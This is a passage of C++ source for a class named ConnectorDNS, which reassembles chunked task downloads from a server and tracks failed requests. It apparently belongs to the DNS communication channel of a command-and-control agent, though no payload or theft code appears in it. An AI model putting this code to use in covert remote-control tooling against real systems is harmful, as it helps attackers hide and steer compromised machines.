|
// New task started - reset and accept
|
|
ResetDownload();
|
|
isNewTask = TRUE;
|
|
chunkTaskNonce = newNonce;
|
|
}
|
|
else {
|
|
// Same task but server is resending from start - something wrong
|
|
// Request the offset we actually need by returning
|
|
return;
|
|
}
|
|
}
|
|
else if (offset < reqOffset) {
|
|
// Server sent an earlier offset - data we already have, ignore
|
|
return;
|
|
}
|
|
else {
|
|
// Server sent a later offset - we're missing data, request resend
|
|
// by not processing this and waiting for correct offset
|
|
return;
|
|
}
|
|
}
|
|
|
|
// Initialize new download buffer if needed
|
|
if (isNewTask) {
|
|
if (this->downBuf && this->downTotal)
|
|
MemFreeLocal((LPVOID*)&this->downBuf, this->downTotal);
|
|
|
|
this->downBuf = (BYTE*)MemAllocLocal(total);
|
|
if (!this->downBuf) {
|
|
this->downTotal = 0;
|
|
this->downFilled = 0;
|
|
return;
|
|
}
|
|
this->downTotal = total;
|
|
this->downFilled = 0;
|
|
this->downAckOffset = 0;
|
|
if (offset == 0 && chunkTaskNonce != 0)
|
|
this->downTaskNonce = chunkTaskNonce;
|
|
|
|
// For new task, we must start at offset 0
|
|
if (offset != 0)
|
|
return;
|
|
}
|
|
|
|
// Copy chunk data to buffer
|
|
ULONG end = offset + chunkLen;
|
|
if (end > total)
|
|
end = total;
|
|
ULONG n = end - offset;
|
|
memcpy(this->downBuf + offset, binBuf + headerSize, n);
|
|
|
|
// Update progress
|
|
if (offset + n > this->downFilled)
|
|
this->downFilled = offset + n;
|
|
this->downAckOffset = this->downFilled;
|
|
|
|
if (this->downFilled >= this->downTotal)
|
|
FinalizeDownload();
|
|
return;
|
|
}
|
|
}
|
|
|
|
if (binLen > (int)headerSize) {
|
|
ResetDownload();
|
|
return;
|
|
}
|
|
|
|
this->recvData = (BYTE*)MemAllocLocal(binLen);
|
|
if (!this->recvData)
|
|
return;
|
|
memcpy(this->recvData, binBuf, binLen);
|
|
this->recvSize = (int)binLen;
|
|
}
|
|
else {
|
|
// GET request failed - increment failure counter
|
|
this->lastQueryOk = FALSE;
|
|
this->consecutiveFailures++;
|
|
|
|
if (this->consecutiveFailures >= 5) {
|
|
this->hasPendingTasks = FALSE;
|
|
this->downAckOffset = 0;
|
|
}
|
|
}
|
|
}
|
|
|
|
BYTE* ConnectorDNS::RecvData()
|
|
{
|
|
return this->recvData;
|
|
}
|
|
|
|
int ConnectorDNS::RecvSize()
|
|
{
|
|
return this->recvSize;
|
|
}
|
|
|
|
void ConnectorDNS::RecvClear()
|
|
{
|
|
if (this->recvData) {
|
|
MemFreeLocal((LPVOID*)&this->recvData, (ULONG)this->recvSize);
|
|
this->recvData = NULL;
|
|
this->recvSize = 0;
|
|
}
|
|
}
|
|
|
|
BOOL ConnectorDNS::IsBusy() const
|
|
{
|
|
return (this->downBuf != NULL) || this->hasPendingTasks;
|
|
} |